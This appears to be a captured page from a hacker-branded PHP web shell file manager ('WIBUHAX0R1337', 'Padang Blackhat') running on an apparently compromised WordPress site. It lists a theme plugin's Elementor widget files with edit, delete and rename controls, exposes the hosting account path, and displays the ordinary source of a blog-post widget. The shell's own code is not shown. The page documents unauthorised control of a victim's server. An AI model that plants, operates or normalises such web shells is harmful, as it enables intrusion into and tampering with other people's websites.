-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
xtrasolutionsco.com
/
wp-content
/
plugins
/
tp-core
/
include
/
elementor
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
cssjs
--
NONE
templates
--
NONE
about.php
57.33KB
Edit File
Delete File
Rename
advanced-pricing.php
64.474KB
Edit File
Delete File
Rename
advanced-tab.php
22.697KB
Edit File
Delete File
Rename
animate-breadcrumb.php
21.405KB
Edit File
Delete File
Rename
application-form.php
5.887KB
Edit File
Delete File
Rename
blog-post.php
14.489KB
Edit File
Delete File
Rename
brand-animation.php
14.009KB
Edit File
Delete File
Rename
brand.php
11.774KB
Edit File
Delete File
Rename
browser-link.php
19.368KB
Edit File
Delete File
Rename
button.php
13.898KB
Edit File
Delete File
Rename
choose.php
28.192KB
Edit File
Delete File
Rename
contact-form.php
5.874KB
Edit File
Delete File
Rename
contact-info.php
24.333KB
Edit File
Delete File
Rename
contact-location.php
12.081KB
Edit File
Delete File
Rename
contact-tab.php
28.563KB
Edit File
Delete File
Rename
cta.php
26.845KB
Edit File
Delete File
Rename
fact.php
19.314KB
Edit File
Delete File
Rename
faq-info.php
17.712KB
Edit File
Delete File
Rename
faq.php
8.988KB
Edit File
Delete File
Rename
features.php
19.782KB
Edit File
Delete File
Rename
heading.php
11.38KB
Edit File
Delete File
Rename
hero-banner-1.php
72.672KB
Edit File
Delete File
Rename
industrial-info.php
30.671KB
Edit File
Delete File
Rename
info-banner.php
25.576KB
Edit File
Delete File
Rename
intregration-slider.php
7.619KB
Edit File
Delete File
Rename
job-details-title.php
9.157KB
Edit File
Delete File
Rename
jobs-post.php
7.874KB
Edit File
Delete File
Rename
journey.php
10.352KB
Edit File
Delete File
Rename
list.php
7.856KB
Edit File
Delete File
Rename
platform-area.php
20.835KB
Edit File
Delete File
Rename
portfolio-details-info.php
12.162KB
Edit File
Delete File
Rename
portfolio-details-sidebar.php
20.109KB
Edit File
Delete File
Rename
portfolio-grid.php
11.735KB
Edit File
Delete File
Rename
portfolio-post.php
11.561KB
Edit File
Delete File
Rename
pricing.php
27.578KB
Edit File
Delete File
Rename
process.php
18.193KB
Edit File
Delete File
Rename
project-slider.php
12.682KB
Edit File
Delete File
Rename
projects.php
22.576KB
Edit File
Delete File
Rename
rank.php
24.613KB
Edit File
Delete File
Rename
sale-info.php
36.763KB
Edit File
Delete File
Rename
services-title-list.php
20.188KB
Edit File
Delete File
Rename
services.php
51.222KB
Edit File
Delete File
Rename
slider.php
42.381KB
Edit File
Delete File
Rename
social.php
20.705KB
Edit File
Delete File
Rename
team-details-skill.php
16.175KB
Edit File
Delete File
Rename
team-details.php
24.703KB
Edit File
Delete File
Rename
team.php
31.657KB
Edit File
Delete File
Rename
testimonial.php
44.519KB
Edit File
Delete File
Rename
text-slider.php
9.134KB
Edit File
Delete File
Rename
video-popup-button.php
8.592KB
Edit File
Delete File
Rename
video-popup.php
6.003KB
Edit File
Delete File
Rename
<?php namespace TPCore\Widgets; use Elementor\Widget_Base; use Elementor\Controls_Manager; use \Elementor\Group_Control_Background; use \Elementor\Group_Control_Image_Size; use \Elementor\Group_Control_Typography; use \Elementor\Group_Control_Box_Shadow; if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly /** * Tp Core * * Elementor widget for hello world. * * @since 1.0.0 */ class TP_Blog_Post extends Widget_Base { use \TPCore\Widgets\TPCoreElementFunctions; /** * Retrieve the widget name. * * @since 1.0.0 * * @access public * * @return string Widget name. */ public function get_name() { return 'tp-blog-post'; } /** * Retrieve the widget title. * * @since 1.0.0 * * @access public * * @return string Widget title. */ public function get_title() { return __( 'Blog Post', 'tpcore' ); } /** * Retrieve the widget icon. * * @since 1.0.0 * * @access public * * @return string Widget icon. */ public function get_icon() { return 'tp-icon'; } /** * Retrieve the list of categories the widget belongs to. * * Used to determine where to display the widget in the editor. * * Note that currently Elementor supports only one category. * When multiple categories passed, Elementor uses the first one. * * @since 1.0.0 * * @access public * * @return array Widget categories. */ public function get_categories() { return [ 'tpcore' ]; } /** * Retrieve the list of scripts the widget depended on. * * Used to set scripts dependencies required to run the widget. * * @since 1.0.0 * * @access public * * @return array Widget scripts dependencies. */ public function get_script_depends() { return [ 'tpcore' ]; } /** * Register the widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 1.0.0 * * @access protected */ protected function register_controls(){ $this->register_controls_section(); $this->style_tab_content(); } protected function register_controls_section() { // layout Panel $this->start_controls_section( 'tp_layout', [ 'label' => esc_html__('Design Layout', 'tpcore'), ] ); $this->add_control( 'tp_design_style', [ 'label' => esc_html__('Select Layout', 'tpcore'), 'type' => Controls_Manager::SELECT, 'options' => [ 'layout-1' => esc_html__('Layout 1', 'tpcore'), 'layout-2' => esc_html__('Layout 2', 'tpcore'), 'layout-3' => esc_html__('Layout 3', 'tpcore'), ], 'default' => 'layout-1', ] ); $this->end_controls_section(); // title/content $this->tp_section_title_render_controls('section', 'Section Title', 'Sub Title', 'your title here', $default_description = 'Hic nesciunt galisum aut dolorem aperiam eum soluta quod ea cupiditate.', ['layout-1', 'layout-2', 'layout-3'] ); // Blog Query $this->tp_query_controls('blog', 'Blog'); // section column $this->tp_columns('col', ['layout-1', 'layout-2', 'layout-3']); } // style_tab_content protected function style_tab_content(){ $this->tp_section_style_controls('blog_section', 'Section - Style', '.tp-el-section'); } /** * Render the widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); /** * Setup the post arguments. */ $query_args = TP_Helper::get_query_args('post', 'category', $this->get_settings()); // The Query $query = new \WP_Query($query_args); $filter_list = $settings['category']; ?> <?php if ( $settings['tp_design_style'] == 'layout-2' ) : $this->add_render_attribute('title_args', 'class', 'tp-section-title mb-45'); ?> <div class="blog-area-2 blog-padding pt-120 pb-100"> <div class="container"> <?php if ( !empty($settings['tp_section_section_title_show']) ) : ?> <div class="row"> <div class="col-xxl-8 offset-xxl-2 col-xl-8 offset-xl-2 col-lg-10 offset-lg-1"> <div class="tptestimonials-section-title text-center z-index position-relative mb-30"> <?php if ( !empty($settings['tp_section_sub_title']) ) : ?> <div class="tp-section-subtitle mb-15"><?php echo tp_kses( $settings['tp_section_sub_title'] ); ?></div> <?php endif; ?> <?php if ( !empty($settings['tp_section_title' ]) ) : printf( '<%1$s %2$s>%3$s</%1$s>', tag_escape( $settings['tp_section_title_tag'] ), $this->get_render_attribute_string( 'title_args' ), tp_kses( $settings['tp_section_title' ] ) ); endif; ?> <?php if ( !empty($settings['tp_section_description']) ) : ?> <p><?php echo tp_kses( $settings['tp_section_description'] ); ?></p> <?php endif; ?> </div> </div> </div> <?php endif; ?> <div class="row"> <?php if ($query->have_posts()) : $i = 0; $a = 0; while ($query->have_posts()) : $query->the_post(); global $post; $categories = get_the_category($post->ID); $i++; $a+=0.1; ?> <div class="col-xl-<?php echo esc_attr($settings['tp_col_for_desktop']); ?> col-lg-<?php echo esc_attr($settings['tp_col_for_laptop']); ?> col-md-<?php echo esc_attr($settings['tp_col_for_tablet']); ?> col-<?php echo esc_attr($settings['tp_col_for_mobile']); ?>"> <div class="tpblog pb-30 wow fadeInUp" data-wow-duration="1.5s" data-wow-delay="<?php echo esc_attr($a); ?>s"> <div class="tpblog__thumb-2 fix"> <?php if(has_post_thumbnail()) : ?> <a href="<?php the_permalink(); ?>"><?php the_post_thumbnail(); ?></a> <?php endif; ?> <?php if(!empty($categories[0]->name)) : ?> <div class="tpblog__catagori-2"> <span><?php echo esc_html($categories[0]->name); ?></span> </div> <?php endif; ?> </div> <div class="tpblog__content-2"> <div class="tpblog__meta-2 mb-15"> <span class="date pr-25"><i class="fa-regular fa-calendar"></i> <?php the_time( 'F j, Y' ); ?></span> <span class="user"><i class="fa-light fa-user"></i> <?php echo esc_html__('by', 'tpcore'); ?> <?php the_author(); ?></span> </div> <h3 class="tp-blog-title mb-25"><a href="<?php the_permalink(); ?>"><?php echo wp_trim_words(get_the_title(), $settings['tp_blog_title_word'], ''); ?></a></h3> <?php if (!empty($settings['tp_post_content'])): $tp_post_content_limit = (!empty($settings['tp_post_content_limit'])) ? $settings['tp_post_content_limit'] : ''; ?> <p><?php print wp_trim_words(get_the_excerpt(get_the_ID()), $tp_post_content_limit, ''); ?></p> <?php endif; ?> <?php if(!empty($settings['tp_post_button'])) : ?> <div class="tp-feed-link blog-border d-flex align-items-center"> <a class="tp-btn-4 " href="<?php the_permalink(); ?>"><?php echo tp_kses($settings['tp_post_button']); ?></a> </div> <div class="tpblog__arrow-box-2"> <span> <a href="<?php the_permalink(); ?>"> <i class="fa-solid fa-arrow-right-long"></i></a> </span> </div> <?php endif; ?> </div> </div> </div> <?php endwhile; wp_reset_query(); endif; ?> </div> </div> </div> <?php elseif ( $settings['tp_design_style'] == 'layout-3' ) : $this->add_render_attribute('title_args', 'class', 'tp-section-title mb-10'); ?> <div class="blog-area-3 pt-120 pb-90"> <div class="container"> <?php if ( !empty($settings['tp_section_section_title_show']) ) : ?> <div class="row"> <div class="col-xxl-8 offset-xxl-2 col-xl-8 offset-xl-2 col-lg-10 offset-lg-1"> <div class="tptestimonials-section-title text-center z-index position-relative pb-30"> <?php if ( !empty($settings['tp_section_sub_title']) ) : ?> <div class="tp-section-subtitle mb-15"><?php echo tp_kses( $settings['tp_section_sub_title'] ); ?></div> <?php endif; ?> <?php if ( !empty($settings['tp_section_title' ]) ) : printf( '<%1$s %2$s>%3$s</%1$s>', tag_escape( $settings['tp_section_title_tag'] ), $this->get_render_attribute_string( 'title_args' ), tp_kses( $settings['tp_section_title' ] ) ); endif; ?> <?php if ( !empty($settings['tp_section_description']) ) : ?> <p><?php echo tp_kses( $settings['tp_section_description'] ); ?></p> <?php endif; ?> </div> </div> </div> <?php endif; ?> <div class="row"> <?php if ($query->have_posts()) : $i = 0; $a = 0; while ($query->have_posts()) : $query->the_post(); global $post; $categories = get_the_category($post->ID); $i++; $a+=0.3; ?> <div class="col-xl-<?php echo esc_attr($settings['tp_col_for_desktop']); ?> col-lg-<?php echo esc_attr($settings['tp_col_for_laptop']); ?> col-md-<?php echo esc_attr($settings['tp_col_for_tablet']); ?> col-<?php echo esc_attr($settings['tp_col_for_mobile']); ?>"> <div class="tpblog-3 p-relative pb-30 wow fadeInUp" data-wow-duration="1.5s" data-wow-delay="<?php echo esc_attr($a); ?>s"> <div class="tpblog-3__thumb"> <div class="tpblog-3__img p-relative"> <?php if(has_post_thumbnail()) : ?> <a href="<?php the_permalink(); ?>"><?php the_post_thumbnail(); ?></a> <?php endif; ?> <span class="date"><?php the_time( 'F j, Y' ); ?></span> <div class="plus-icon"> <a href="<?php the_permalink(); ?>"> <i class="fa-sharp fa-solid fa-plus"></i></a> </div> </div> </div> <div class="tpblog-3__content"> <div class="tpblog-3__meta mb-15"> <span class="user mr-15"> <i class="fa-light fa-user"></i> <?php echo esc_html__('by', 'tpcore'); ?> <?php the_author(); ?> </span> <span class="Comments pr-25"> <i class="flaticon-chat"></i><?php comments_number();?> </span> </div> <h3 class="tp-blog-title"><a href="<?php the_permalink(); ?>"><?php echo wp_trim_words(get_the_title(), $settings['tp_blog_title_word'], ''); ?></a></h3> <?php if (!empty($settings['tp_post_content'])): $tp_post_content_limit = (!empty($settings['tp_post_content_limit'])) ? $settings['tp_post_content_limit'] : ''; ?> <p><?php print wp_trim_words(get_the_excerpt(get_the_ID()), $tp_post_content_limit, ''); ?></p> <?php endif; ?> <?php if(!empty($settings['tp_post_button'])) : ?> <div class="tp-feed-link d-flex align-items-center"> <a class="btn-link-sm" href="<?php the_permalink(); ?>"><?php echo tp_kses($settings['tp_post_button']); ?></a> </div> <?php endif; ?> </div> </div> </div> <?php endwhile; wp_reset_query(); endif; ?> </div> </div> </div> <?php else : $this->add_render_attribute('title_args', 'class', 'tp-section-title mb-10'); ?> <div class="blog-area pt-120 pb-90"> <div class="container"> <?php if ( !empty($settings['tp_section_section_title_show']) ) : ?> <div class="row"> <div class="col-xxl-8 offset-xxl-2 col-xl-8 offset-xl-2 col-lg-10 offset-lg-1"> <div class="blog-section-title text-center z-index position-relative pb-30"> <?php if ( !empty($settings['tp_section_sub_title']) ) : ?> <div class="tp-section-subtitle mb-15"><?php echo tp_kses( $settings['tp_section_sub_title'] ); ?></div> <?php endif; ?> <?php if ( !empty($settings['tp_section_title' ]) ) : printf( '<%1$s %2$s>%3$s</%1$s>', tag_escape( $settings['tp_section_title_tag'] ), $this->get_render_attribute_string( 'title_args' ), tp_kses( $settings['tp_section_title' ] ) ); endif; ?> <?php if ( !empty($settings['tp_section_description']) ) : ?> <p><?php echo tp_kses( $settings['tp_section_description'] ); ?></p> <?php endif; ?> </div> </div> </div> <?php endif; ?> <div class="row"> <?php if ($query->have_posts()) : $i = 0; $a = 0; while ($query->have_posts()) : $query->the_post(); global $post; $categories = get_the_category($post->ID); $i++; $a+=0.3; ?> <div class="col-xl-<?php echo esc_attr($settings['tp_col_for_desktop']); ?> col-lg-<?php echo esc_attr($settings['tp_col_for_laptop']); ?> col-md-<?php echo esc_attr($settings['tp_col_for_tablet']); ?> col-<?php echo esc_attr($settings['tp_col_for_mobile']); ?>"> <div class="tpblog pb-30 wow fadeInUp" data-wow-duration="1.5s" data-wow-delay="<?php echo esc_attr($a); ?>s"> <div class="tpblog__thumb fix"> <?php if(has_post_thumbnail()) : ?> <a href="<?php the_permalink(); ?>"><?php the_post_thumbnail(); ?></a> <?php endif; ?> <?php if(!empty($categories[0]->name)) : ?> <div class="tpblog__catagori"> <span><?php echo esc_html($categories[0]->name); ?></span> </div> <?php endif; ?> </div> <div class="tpblog__content fix p-relative"> <div class="tpblog__meta mb-15"> <span class="date pr-25"><i class="fa-regular fa-calendar"></i> <?php the_time( 'F j, Y' ); ?></span> <span class="user"><i class="fa-light fa-user"></i> <?php echo esc_html__('by', 'tpcore'); ?> <?php the_author(); ?></span> </div> <h3 class="tp-blog-title mb-25"><a href="<?php the_permalink(); ?>"><?php echo wp_trim_words(get_the_title(), $settings['tp_blog_title_word'], ''); ?></a></h3> <?php if (!empty($settings['tp_post_content'])): $tp_post_content_limit = (!empty($settings['tp_post_content_limit'])) ? $settings['tp_post_content_limit'] : ''; ?> <p><?php print wp_trim_words(get_the_excerpt(get_the_ID()), $tp_post_content_limit, ''); ?></p> <?php endif; ?> <?php if(!empty($settings['tp_post_button'])) : ?> <div class="tp-feed-link d-flex align-items-center"> <a class="btn-link-sm" href="<?php the_permalink(); ?>"><?php echo tp_kses($settings['tp_post_button']); ?></a> </div> <?php endif; ?> </div> </div> </div> <?php endwhile; wp_reset_query(); endif; ?> </div> </div> </div> <?php endif; } } $widgets_manager->register( new TP_Blog_Post() );
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat